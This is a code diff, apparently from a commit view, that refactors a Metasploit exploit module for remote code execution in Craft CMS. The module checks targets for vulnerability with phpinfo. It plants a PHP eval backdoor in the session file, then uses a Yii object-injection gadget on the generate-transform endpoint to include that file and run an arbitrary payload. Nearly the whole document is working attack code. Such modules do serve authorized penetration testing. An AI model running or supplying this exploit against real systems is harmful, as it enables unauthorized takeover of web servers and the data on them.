@@ -71,110 +71,129 @@ def initialize(info = {})
7171 end
7272
7373 def check
74- csrf = fetch_cookies_and_csrf
75- return CheckCode ::Unknown ( 'Could not retrieve cookies & CSRF' ) unless csrf
74+ csrf_token = fetch_cookies_and_csrf
75+ return CheckCode ::Unknown ( 'Could not retrieve cookies & CSRF' ) if csrf_token . nil?
7676
77- vprint_status ( "Using CSRF token: #{ csrf } " )
77+ vprint_status "Using CSRF token: #{ csrf_token } "
7878
79- res = send_transform ( csrf , datastore [ 'ASSET_ID' ] , 'phpinfo' )
80- return CheckCode ::Unknown ( 'No response from generate-transform' ) unless res
79+ response = send_transform ( csrf_token , datastore [ 'ASSET_ID' ] , 'phpinfo' )
80+ return CheckCode ::Unknown ( 'No response from generate-transform' ) if response . nil?
8181
82- if res . body . include? ( 'If you did not receive a copy of the PHP license' )
83- return CheckCode ::Vulnerable ( 'License text detected' )
82+ if response . body . include? ( 'If you did not receive a copy of the PHP license' )
83+ CheckCode ::Vulnerable ( 'License text detected' )
84+ else
85+ CheckCode ::Safe ( 'License text not detected' )
8486 end
85-
86- CheckCode ::Safe ( 'License text not detected' )
8787 end
8888
8989 def php_exec_cmd ( encoded_payload )
90- vars = Rex ::RandomIdentifier ::Generator . new
91- dis = '$' + vars [ :dis ]
92- encoded_clean_payload = Rex ::Text . encode_base64 ( encoded_payload )
93- shell = <<-END_OF_PHP_CODE
94- #{ php_preamble ( disabled_varname : dis ) }
95- $c = base64_decode(" #{ encoded_clean_payload } ");
96- #{ php_system_block ( cmd_varname : '$c' , disabled_varname : dis ) }
97- END_OF_PHP_CODE
98- return shell
90+ generator = Rex ::RandomIdentifier ::Generator . new
91+ disabled_var = "$ #{ generator [ :dis ] } "
92+ payload_b64 = Rex ::Text . encode_base64 ( encoded_payload )
93+
94+ <<~PHP
95+ #{ php_preamble ( disabled_varname : disabled_var ) }
96+ $c = base64_decode(" #{ payload_b64 } ");
97+ #{ php_system_block ( cmd_varname : '$c' , disabled_varname : disabled_var ) }
98+ PHP
9999 end
100100
101101 def exploit
102- phped_payload = target [ 'Arch' ] == ARCH_PHP ? payload . encoded : php_exec_cmd ( payload . encoded )
103- final_payload = framework . encoders . create ( 'php/base64' ) . encode ( phped_payload )
104-
105- random_param_name = Rex ::Text . rand_text_alphanumeric ( 5 ..12 )
106-
107- first_payload = "<?=eval(\$ _GET[\" #{ random_param_name } \" ]);die()?>"
108-
109- print_status ( 'Making initial request to push payload and get a CSRF token..' )
110-
111- craft_session_id , csrf = fetch_cookies_and_csrf ( first_payload )
112- vprint_status ( "CraftSessionId: #{ craft_session_id } " )
113- vprint_status ( "Found CSRF token: #{ csrf } " )
102+ payload_code = target [ 'Arch' ] == ARCH_PHP ? payload . encoded : php_exec_cmd ( payload . encoded )
103+ encoded_payload = framework . encoders
104+ . create ( 'php/base64' )
105+ . encode ( payload_code )
106+
107+ random_param = Rex ::Text . rand_text_alphanumeric ( 5 ..12 )
108+ initial_payload = "<?=eval($_GET['#{ random_param } ']);die()?>"
109+
110+ print_status 'Making initial request to push payload and get a CSRF token'
111+ session_id , csrf_token = fetch_cookies_and_csrf ( initial_payload )
112+ unless csrf_token
113+ fail_with ( Failure ::Unknown , 'Could not retrieve session ID and CSRF token' )
114+ end
114115
115- print_status ( 'Triggering code via assets/generate-transform' )
116+ vprint_status "Session ID: #{ session_id } "
117+ vprint_status "CSRF token: #{ csrf_token } "
116118
117- json_data = {
118- 'assetId' => datastore [ 'ASSET_ID' ] ,
119- 'handle' => {
120- 'width' => Rex ::Text . rand_text_numeric ( 1 ..5 ) ,
121- 'height' => Rex ::Text . rand_text_numeric ( 1 ..5 ) ,
119+ print_status 'Triggering code via assets/generate-transform'
120+ request_payload = {
121+ assetId : datastore [ 'ASSET_ID' ] ,
122+ handle : {
123+ width : Rex ::Text . rand_text_numeric ( 1 ..5 ) ,
124+ height : Rex ::Text . rand_text_numeric ( 1 ..5 ) ,
122125 'as hack' => {
123- ' class' => 'craft\\behaviors\\FieldLayoutBehavior' ,
124- ' __class' => 'yii\\rbac\\PhpManager' ,
126+ class : 'craft\\behaviors\\FieldLayoutBehavior' ,
127+ __class : 'yii\\rbac\\PhpManager' ,
125128 '__construct()' => [
126- {
127- 'itemFile' => "/var/lib/php/sessions/sess_#{ craft_session_id } "
128- }
129+ { itemFile : "/var/lib/php/sessions/sess_#{ session_id } " }
129130 ]
130131 }
131132 }
132133 } . to_json
133134
134- send_request_cgi ( {
135+ send_request_cgi! (
135136 'method' => 'POST' ,
136137 'uri' => normalize_uri ( target_uri . path , 'index.php' ) ,
137- 'vars_get' => { 'p' => 'actions/assets/generate-transform' , random_param_name => final_payload } ,
138- 'headers' => { 'X-CSRF-Token' => csrf } ,
138+ 'vars_get' => { 'p' => 'actions/assets/generate-transform' , random_param => encoded_payload } ,
139+ 'headers' => { 'X-CSRF-Token' => csrf_token } ,
139140 'ctype' => 'application/json' ,
140- 'data' => json_data ,
141+ 'data' => request_payload ,
141142 'keep_cookies' => true
142- } )
143+ )
143144 end
144145
145- def fetch_cookies_and_csrf ( payload_param = nil )
146- vars_get = { 'p' => 'admin/dashboard' }
147- random_param_name = Rex ::Text . rand_text_alphanumeric ( 5 ..12 )
148- vars_get [ random_param_name ] = payload_param if payload_param
146+ def extract_csrf_token ( res )
147+ get_token = lambda do |r |
148+ next unless r &.code == 200
149149
150- query_string = vars_get . map { |key , value | "#{ key } =#{ value } " } . join ( '&' )
151- cookie_jar . clear
152- opts = {
153- 'method' => 'GET' ,
154- 'uri_encode_mode' => 'none' ,
155- 'uri' => normalize_uri ( target_uri . path , 'index.php' ) + '?' + query_string
156- }
150+ r . get_html_document . at ( "//input[@name='CRAFT_CSRF_TOKEN']/@value" ) &.text
151+ end
152+
153+ token = get_token . call ( res )
157154
158- res1 = send_request_cgi ( opts )
155+ if token . nil? || token . empty?
156+ vprint_status 'CSRF not found, falling back to root'
157+ fb_res = send_request_cgi (
158+ 'method' => 'GET' ,
159+ 'uri' => normalize_uri ( target_uri . path , 'index.php' ) ,
160+ 'keep_cookies' => true
161+ )
162+ token = get_token . call ( fb_res )
163+ end
164+
165+ token unless token . nil? || token . empty?
166+ end
159167
160- cookies = res1 . get_cookies
161- craft_session_id = cookies . split ( ';' ) . find { | cookie | cookie . strip . start_with? ( 'CraftSessionId=' ) } &. split ( '=' ) &. last &. strip
162- return nil unless craft_session_id
168+ def fetch_cookies_and_csrf ( payload_param = nil )
169+ rand_param = Rex :: Text . rand_text_alphanumeric ( 5 .. 12 )
170+ params = { 'p' => 'admin/dashboard' , rand_param => payload_param } . compact
163171
164- opts2 = {
172+ cookie_jar . clear
173+ res = send_request_cgi (
165174 'method' => 'GET' ,
166- 'uri' => res1 . headers [ 'Location' ] ,
167- 'keep_cookies' => true
168- }
175+ 'uri_encode_mode' => 'none' ,
176+ 'uri' => normalize_uri ( target_uri . path , 'index.php' ) ,
177+ 'vars_get' => params
178+ )
179+ return nil unless res
169180
170- res2 = send_request_cgi ( opts2 )
181+ raw_cookies = res . get_cookies . to_s
182+ session_id = raw_cookies . scan ( /CraftSessionId=([^;]+)/ ) . flatten . first
183+ return nil if session_id . nil? || session_id . empty?
171184
172- return nil unless res2 &.code == 200
185+ if res . code == 302 && res . headers [ 'Location' ]
186+ res = send_request_cgi (
187+ 'method' => 'GET' ,
188+ 'uri' => res . headers [ 'Location' ] ,
189+ 'keep_cookies' => true
190+ )
191+ end
173192
174- csrf = res2 . get_html_document . at ( '//input[@name="CRAFT_CSRF_TOKEN"]/@value' ) &. text
175- return nil unless csrf
193+ token = extract_csrf_token ( res )
194+ return nil unless token
176195
177- payload_param ? [ craft_session_id , csrf ] : csrf
196+ payload_param ? [ session_id , token ] : token
178197 end
179198
180199 def send_transform ( csrf , asset_id , php_string )
0 commit comments